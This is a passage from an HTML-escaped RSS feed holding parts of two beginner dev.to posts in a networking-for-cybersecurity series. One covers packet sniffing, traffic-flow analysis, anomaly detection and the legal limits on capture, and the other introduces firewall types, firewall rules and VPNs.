&lt;p&gt;Monitor mode lets your Wi-Fi card capture:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raw wireless frames&lt;/li&gt;
&lt;li&gt;Beacons&lt;/li&gt;
&lt;li&gt;Management frames&lt;/li&gt;
&lt;li&gt;Traffic between other devices&lt;/li&gt;
&lt;li&gt;Hidden networks&lt;/li&gt;
&lt;li&gt;Access point broadcasts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You stop being a participant in the Wi-Fi network. You turn into a radio scanner, listening to everything in the air.&lt;br&gt;
Why different from promiscuous mode? Because Wi-Fi is broadcast. If you go into monitor mode, you hear all radio traffic on that channel, not just packets addressed to you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Port Mirroring / SPAN (on switches)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On wired networks with switches, you cannot normally see other people’s traffic.&lt;br&gt;
&lt;strong&gt;Port Mirroring (SPAN)&lt;/strong&gt; is the solution: The switch creates a copy of traffic from one port or VLAN. The copy is sent to another port where your sniffing tool listens&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Why it exists:&lt;br&gt;
Switches isolate traffic, so promiscuous mode is usually useless.&lt;br&gt;
SPAN is the only reliable way to see full traffic in modern wired networks.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Analyzing Traffic Flows (Sessions, Streams, Conversations)
&lt;/h2&gt;

&lt;p&gt;When you look at raw packets, the data seems chaotic. Hundreds of packets appear one after another, and it is impossible to understand the communication by reading them individually. Traffic analysis tools solve this by grouping packets into meaningful flows. These groupings help you understand who talked to whom, how long the communication lasted, and what was exchanged.&lt;/p&gt;

&lt;p&gt;There are three main ways Wireshark and similar tools organize traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sessions&lt;/strong&gt;&lt;br&gt;
A session represents a full connection between two endpoints. For TCP, this includes the handshake, all data packets, and the closing packets. Sessions show the lifecycle of a connection: when it started, how much data moved, and how it ended. They are great for spotting repeated failed logins, suspicious connection attempts, or unusual persistence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Streams&lt;/strong&gt;&lt;br&gt;
A stream reconstructs the actual data exchanged inside the session. Instead of looking packet by packet, a stream shows the readable conversation: full HTTP requests, DNS messages, TLS handshakes or application data. Streams answer the question “what was actually said?” within the communication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conversations&lt;/strong&gt;&lt;br&gt;
A conversation is a broader view. It groups traffic by IP pairs, MAC pairs, or port pairs. Conversations help you see overall communication patterns, such as which devices are talking the most, unexpected hosts communicating, or unusual port usage.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Simple mental model&lt;/strong&gt;&lt;br&gt;
A session shows the connection’s structure.&lt;br&gt;
A stream shows the connection’s content.&lt;br&gt;
A conversation shows the connection’s relationships.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This layered view makes traffic analysis much easier. Instead of thousands of packets, you see organized flows that tell you the story behind the network activity. It becomes much easier to spot anomalies, suspicious communications, or misconfigurations.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Identifying Protocols and Services from Packet Data
&lt;/h2&gt;

&lt;p&gt;When analyzing traffic, one of the first things you need to understand is what protocol is being used and which service the traffic belongs to. Every packet contains clues that reveal this, even if the data inside is encrypted.&lt;/p&gt;

&lt;p&gt;Tools like Wireshark automatically detect protocols, but it is important to understand how to recognize them yourself.&lt;/p&gt;

&lt;p&gt;How to identify a protocol:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Port Numbers&lt;/strong&gt;&lt;br&gt;
Many protocols use well-known ports.&lt;br&gt;
Examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;80 → HTTP&lt;/li&gt;
&lt;li&gt;443 → HTTPS&lt;/li&gt;
&lt;li&gt;53 → DNS&lt;/li&gt;
&lt;li&gt;22 → SSH
This is the quickest way to identify a service.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Protocol Signatures&lt;/strong&gt;&lt;br&gt;
Some protocols have unique patterns in their packets.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS queries have a specific header format.&lt;/li&gt;
&lt;li&gt;TLS starts with a “Client Hello” handshake.&lt;/li&gt;
&lt;li&gt;HTTP requests start with GET, POST or HOST.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Packet Behavior&lt;/strong&gt;&lt;br&gt;
Different protocols behave differently.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TCP has a handshake (SYN, SYN-ACK, ACK).&lt;/li&gt;
&lt;li&gt;UDP sends without handshake and usually appears shorter.&lt;/li&gt;
&lt;li&gt;DNS traffic is small and frequent.&lt;/li&gt;
&lt;li&gt;HTTPS traffic is encrypted and larger.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Content (when not encrypted)&lt;/strong&gt;&lt;br&gt;
If the payload is visible, you can read it.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTP shows URLs and headers.&lt;/li&gt;
&lt;li&gt;DNS shows queries and responses.&lt;/li&gt;
&lt;li&gt;FTP shows commands like USER or PASS.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Service Identification&lt;/strong&gt;&lt;br&gt;
Wireshark shows a column called "Protocol," but deeper analysis comes from matching:&lt;br&gt;
IP + Port + Transport protocol + Payload pattern&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security relevance:&lt;/strong&gt;&lt;br&gt;
Identifying protocols helps you detect misuse, suspicious traffic, unexpected services running on unusual ports, or covert channels. Many attacks hide inside normal-looking traffic, so knowing what traffic "should" look like is critical.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;In short:&lt;/strong&gt;&lt;br&gt;
Ports help identify the service.&lt;br&gt;
Headers help identify the protocol.&lt;br&gt;
Traffic patterns help identify suspicious behavior.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Detecting Anomalies and Suspicious Traffic Patterns
&lt;/h2&gt;

&lt;p&gt;Once you understand what normal traffic looks like, the next step is spotting what doesn't look normal. Suspicious traffic rarely hides perfectly. It usually shows patterns that stand out when you analyze flows, sessions and packet behavior.&lt;/p&gt;

&lt;p&gt;Below are the most common signs analysts look for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unusual Ports or Unexpected Services&lt;/strong&gt;&lt;br&gt;
If a host suddenly starts communicating over odd ports (for example, 4444, 1337, high random ports), it may indicate malware, tunneling or unauthorized tools.&lt;br&gt;
Traffic on ports normally blocked or unused is a warning sign.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;High Volume From a Single Host&lt;/strong&gt;&lt;br&gt;
Large bursts of traffic, repeated connections, or long continuous sessions may indicate scanning, brute-force attempts or data exfiltration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Frequent Small Packets&lt;/strong&gt;&lt;br&gt;
Bots, scanners and malware often send many tiny packets rapidly.&lt;br&gt;
Normal applications usually have more balanced traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Connections to Unknown or Foreign IPs&lt;/strong&gt;&lt;br&gt;
If internal systems talk to strange or unexpected external addresses, especially in unusual regions, it deserves investigation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Repeated Failed Connections&lt;/strong&gt;&lt;br&gt;
Constant SYN attempts without completing the handshake may indicate:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port scanning&lt;/li&gt;
&lt;li&gt;A denial-of-service attempt&lt;/li&gt;
&lt;li&gt;A misconfigured or malicious script&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;DNS Anomalies&lt;/strong&gt;&lt;br&gt;
Large TXT records, long subdomains or extremely frequent DNS queries can indicate DNS tunneling or malware beaconing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Encrypted Traffic That Should Not Be Encrypted&lt;/strong&gt;&lt;br&gt;
Example: encryption inside internal-only systems or between unexpected hosts. Sometimes used to hide malicious communication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Plaintext Traffic That Should Be Encrypted&lt;/strong&gt;&lt;br&gt;
Example: credentials sent in clear HTTP.&lt;br&gt;
A sign of misconfiguration or vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Long-Lived Sessions&lt;/strong&gt;&lt;br&gt;
Malware often maintains persistent tunnels to command-and-control servers.&lt;br&gt;
Normal user sessions usually have shorter lifetimes.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;In short:&lt;/strong&gt;&lt;br&gt;
Normal traffic is predictable.&lt;br&gt;
Suspicious traffic breaks patterns.&lt;br&gt;
Anomalies are the first signs of compromise, misconfiguration or scanning.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Encryption and What You Can/Cannot See in Packets
&lt;/h2&gt;

&lt;p&gt;Encryption changes what a packet looks like in traffic analysis. You still see the packet, but most of the meaningful application data is hidden. Understanding what remains visible is essential for both security monitoring and threat detection.&lt;/p&gt;

&lt;p&gt;What you can see in encrypted traffic:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IP Addresses&lt;/strong&gt;&lt;br&gt;
You still see who is talking to whom. Encryption does not hide source or destination IPs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ports&lt;/strong&gt;&lt;br&gt;
You can see which service is being used (for example, port 443 for HTTPS).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Packet Size and Timing&lt;/strong&gt;&lt;br&gt;
Attackers can hide data but not timing and size. Patterns often reveal malware or tunneling.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TLS Handshake Information&lt;/strong&gt;&lt;br&gt;
Before encryption begins, TLS reveals metadata like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server Name Indication (SNI)&lt;/li&gt;
&lt;li&gt;TLS version&lt;/li&gt;
&lt;li&gt;Cipher suites&lt;/li&gt;
&lt;li&gt;Certificate information
This helps identify suspicious or outdated configurations.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Flow Behavior&lt;/strong&gt;&lt;br&gt;
Long-lived sessions, repeated patterns, abnormal traffic spikes, or unusual destinations are still fully visible even when encrypted.&lt;/p&gt;

&lt;p&gt;What you cannot see in encrypted traffic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Content&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;The actual message is hidden. No URLs, passwords, requests or responses.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;HTTP Headers and Body&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;In HTTPS, both are encrypted, except SNI during handshake.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Application-Level Commands&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;FTP, SMTP, DNS-over-HTTPS and other encrypted protocols hide their internal commands.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;User Credentials&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Modern encryption prevents sniffing usernames and passwords directly.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Simple summary:&lt;/strong&gt;&lt;br&gt;
Unencrypted traffic shows everything.&lt;br&gt;
Encrypted traffic hides content but exposes patterns, metadata and behavior. This is why packet analysis still matters even with encryption. Most attacks reveal themselves through traffic patterns rather than raw content.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Practical Traffic Analysis Examples (HTTP, DNS, TLS)
&lt;/h2&gt;

&lt;p&gt;To understand packet analysis, it helps to look at how common protocols appear in real captures. These examples show what you can expect to see when analyzing HTTP, DNS and TLS traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP (Unencrypted Web Traffic)&lt;/strong&gt;&lt;br&gt;
HTTP is fully readable in packet captures. You can see URLs, headers, cookies and even login data if the site is not using HTTPS. A GET or POST request appears clearly in the payload.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Security note: Any sensitive information in HTTP is exposed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Example signs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GET /login&lt;/li&gt;
&lt;li&gt;POST /api/user&lt;/li&gt;
&lt;li&gt;Host: example.com&lt;/li&gt;
&lt;li&gt;User-Agent: Chrome&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;DNS (Domain Name Resolution)&lt;/strong&gt;&lt;br&gt;
DNS queries and responses are small and structured.&lt;br&gt;
You can see which domain is being requested, record type and the IP returned. DNS often reveals malware behavior when unusual domains or high-frequency queries appear.&lt;/p&gt;

&lt;p&gt;Example signs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Standard query A google.com&lt;/li&gt;
&lt;li&gt;Standard query response A 142.250.185.100&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;TLS (Encrypted Web Traffic)&lt;/strong&gt;&lt;br&gt;
TLS encrypts the content, but you can still see the handshake.&lt;br&gt;
The handshake includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Client Hello&lt;/li&gt;
&lt;li&gt;Server Hello&lt;/li&gt;
&lt;li&gt;Certificate&lt;/li&gt;
&lt;li&gt;TLS version&lt;/li&gt;
&lt;li&gt;Cipher suites&lt;/li&gt;
&lt;li&gt;SNI (server name indication) showing the domain&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once encryption begins, application data becomes unreadable, but the metadata and flow patterns remain visible.&lt;/p&gt;

&lt;p&gt;Example signs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Client Hello (SNI: example.com)&lt;/li&gt;
&lt;li&gt;Server Hello (TLS 1.3)&lt;/li&gt;
&lt;li&gt;Encrypted Application Data&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;HTTP shows everything (good for learning, bad for security).&lt;br&gt;
DNS shows where traffic is going and is often abused by malware.&lt;br&gt;
TLS hides content but leaves powerful metadata for detecting threats.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. Legal, Ethical, and Privacy Considerations in Sniffing
&lt;/h2&gt;

&lt;p&gt;Packet sniffing is a powerful capability, and with that power comes serious responsibility. Capturing network traffic can expose sensitive data, private communications and internal system details. Because of this, packet analysis is tightly controlled in both legal and ethical terms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The key rule is simple:&lt;/strong&gt;&lt;br&gt;
You are only allowed to sniff traffic that you have explicit authorization to capture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authorization&lt;/strong&gt;&lt;br&gt;
You need permission from the network owner. Without this, packet sniffing is illegal in almost every country.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Privacy&lt;/strong&gt;&lt;br&gt;
Even in authorized environments, analysts should avoid looking at unnecessary personal data. Many organizations mask or filter sensitive fields.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scope&lt;/strong&gt;&lt;br&gt;
Sniff only the systems or networks defined in your assignment. Going outside the approved scope is a violation of trust and policy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Data Handling&lt;/strong&gt;&lt;br&gt;
Captured traffic must be stored securely. Packet captures often contain credentials, tokens, internal IPs and confidential information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Workplace Policies&lt;/strong&gt;&lt;br&gt;
Companies typically require written approval for sniffing, even for internal troubleshooting. This protects both the company and the analyst.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legal Frameworks&lt;/strong&gt;&lt;br&gt;
Depending on your region, laws such as GDPR, HIPAA or local privacy regulations dictate how traffic data must be handled and when it can be collected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ethical Behavior&lt;/strong&gt;&lt;br&gt;
Just because you can see something in traffic does not mean you should. Ethical cybersecurity means respecting users, systems and privacy.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Sniffing without permission is illegal.&lt;br&gt;
Sniffing with permission must still be controlled and respectful.&lt;br&gt;
Privacy is always part of the security process.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. Summary and What Comes Next (Part 5 Preview)
&lt;/h2&gt;

&lt;p&gt;In this part, you saw how network traffic really looks at the packet level. We explored &lt;strong&gt;Ethernet&lt;/strong&gt;, &lt;strong&gt;IP&lt;/strong&gt;, &lt;strong&gt;TCP/UDP headers&lt;/strong&gt;, packet capture tools, analysis techniques, encrypted vs unencrypted traffic, and how anomalies reveal security issues. This is where cybersecurity meets real data — the raw evidence of how systems communicate.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;Part 5&lt;/strong&gt;, we move from observing traffic to actively mapping and identifying systems. You'll learn &lt;strong&gt;scanning&lt;/strong&gt;, &lt;strong&gt;enumeration&lt;/strong&gt;, and &lt;strong&gt;fingerprinting techniques&lt;/strong&gt;, how tools like &lt;strong&gt;Nmap&lt;/strong&gt; and &lt;strong&gt;Masscan&lt;/strong&gt; discover services, and how attackers and defenders both use these techniques to understand network exposure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next:&lt;/strong&gt; Networking for Cybersecurity (Part 5): Scanning, Enumeration &amp;amp; Fingerprinting&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>network</category>
    </item>
    <item>
      <title>Networking for Cybersecurity (Part 3): Firewalls, VPNs &amp; Proxies</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Tue, 09 Dec 2025 18:40:28 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-3-firewalls-vpns-proxies-24ij</link>
      <guid>https://forem.com/alvinseyidov/networking-for-cybersecurity-part-3-firewalls-vpns-proxies-24ij</guid>
      <description>&lt;h2&gt;
  
  
  1. Introduction: Network Barriers and Secure Access
&lt;/h2&gt;

&lt;p&gt;Firewalls, VPNs and proxies are the core tools that control how traffic enters, leaves and moves inside a network. They decide who gets access, how data is protected on the way, and how users connect securely from anywhere. In cybersecurity, these systems act as barriers, shields and traffic controllers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Figoo7xwpx7s5rqb8twrj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Figoo7xwpx7s5rqb8twrj.jpg" alt=" " width="800" height="934"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Firewall&lt;/strong&gt;&lt;br&gt;
Controls and filters traffic. Blocks or allows based on rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VPN&lt;/strong&gt;&lt;br&gt;
Creates an encrypted tunnel so data travels securely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proxy&lt;/strong&gt;&lt;br&gt;
Sits in the middle and forwards requests, often hiding the client.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Firewalls Actually Do (Traffic Filtering Basics)
&lt;/h2&gt;

&lt;p&gt;A firewall’s main job is to inspect network traffic and decide whether to allow it or block it. It does this by checking IP addresses, ports, protocols and sometimes even the application data.&lt;/p&gt;

&lt;p&gt;Firewalls follow a simple logic.&lt;br&gt;
If traffic matches the rules, it is allowed. If it doesn’t, it is blocked.&lt;/p&gt;

&lt;p&gt;Key things firewalls look at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Source IP and destination IP&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Where the traffic comes from and where it's going.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ports&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Which service the traffic is trying to reach.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Protocol&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Whether it’s TCP, UDP, ICMP or something else.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Direction&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Inbound (coming into the network) or outbound (leaving the network).&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Allow, block or log.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  3. Types of Firewalls (Packet, Stateful, Next-Gen)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Packet-Filtering Firewall&lt;/strong&gt;&lt;br&gt;
A packet filtering firewall is a network security device that filters incoming and outgoing network packets based on a predefined set of rules. Rules are typically based on IP addresses, port numbers, and protocols. By inspecting packet headers, the firewall decides if it matches an allowed rule; if not, it blocks the packet. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe7t0n6queo920cknj6q9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe7t0n6queo920cknj6q9.png" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A Perimeter Firewall&lt;/strong&gt;&lt;br&gt;
A perimeter firewall is a security device that filters traffic, acting as a barrier between an internal network and untrusted external networks.&lt;/p&gt;

&lt;p&gt;It applies a set of rules to control access based on criteria like IP addresses, domain names, protocols, ports, and the content of the traffic. By permitting or denying traffic, a perimeter firewall protects the network from unauthorized access and cyber threats.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu276ex9gqyh69myvxn75.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu276ex9gqyh69myvxn75.png" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A Proxy Firewall&lt;/strong&gt;&lt;br&gt;
A proxy firewall is a network security device that serves as an intermediary between user requests and the resources they access, filtering messages and data exchange at the application layer.&lt;/p&gt;

&lt;p&gt;By evaluating and transferring data packets on behalf of users, a proxy firewall ensures direct connections with external servers are never established, which increases security by concealing internal network addresses. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jyag5ud1f6cnatvffhi.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jyag5ud1f6cnatvffhi.webp" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A Host-based Firewall&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A host-based firewall works as a shield directly on a server or endpoint device. It analyzes and directs network traffic flow. Its primary role is to enforce security policies that determine what kind of data packets can enter or leave the host system.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfaxkoxrwmoheoqzawxe.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfaxkoxrwmoheoqzawxe.webp" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stateful Firewall&lt;/strong&gt;&lt;br&gt;
Remembers active connections. Allows return traffic automatically. More secure than packet-filtering because it understands sessions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhexic5ebvwpmzt6p8h2o.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhexic5ebvwpmzt6p8h2o.webp" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next-Generation Firewall (NGFW)&lt;/strong&gt;&lt;br&gt;
The most advanced. Looks inside the traffic at the application layer. Can inspect HTTP, DNS, TLS, detect malware patterns, block apps and detect suspicious behavior.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr2hqz16ccd2ku3q4vpru.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr2hqz16ccd2ku3q4vpru.jpg" alt=" " width="800" height="751"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Firewall Rules, Policies &amp;amp; Real Security Use Cases
&lt;/h2&gt;

&lt;p&gt;Firewall rules define what traffic is allowed and what traffic is blocked. Policies group these rules to create a security strategy for different parts of a network.&lt;/p&gt;

&lt;p&gt;A rule usually checks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source IP&lt;/li&gt;
&lt;li&gt;Destination IP&lt;/li&gt;
&lt;li&gt;Port&lt;/li&gt;
&lt;li&gt;Protocol&lt;/li&gt;
&lt;li&gt;Direction&lt;/li&gt;
&lt;li&gt;Action (allow or block)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Common real-world uses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Allow only ports 80 and 443 to a web server&lt;br&gt;
&lt;em&gt;This exposes only the services required.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Allow SSH (port 22) only from your own IP&lt;br&gt;
&lt;em&gt;This prevents brute-force attacks from the internet.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Block SMB (445) on the network edge&lt;br&gt;
&lt;em&gt;This stops worms and ransomware from spreading.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Block all inbound traffic by default&lt;br&gt;
&lt;em&gt;Then allow only what is truly needed.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Restrict outbound traffic for internal systems&lt;br&gt;
&lt;em&gt;Prevents malware from calling external servers.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  5. What a VPN Is and Why Cybersecurity Depends on It
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3e1o7u57upk9v0mhvsqz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3e1o7u57upk9v0mhvsqz.png" alt=" " width="800" height="1040"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A VPN creates a secure, encrypted tunnel between your device and another network. Instead of sending traffic directly over the internet, the traffic is wrapped, encrypted and then sent through this private tunnel.&lt;/p&gt;

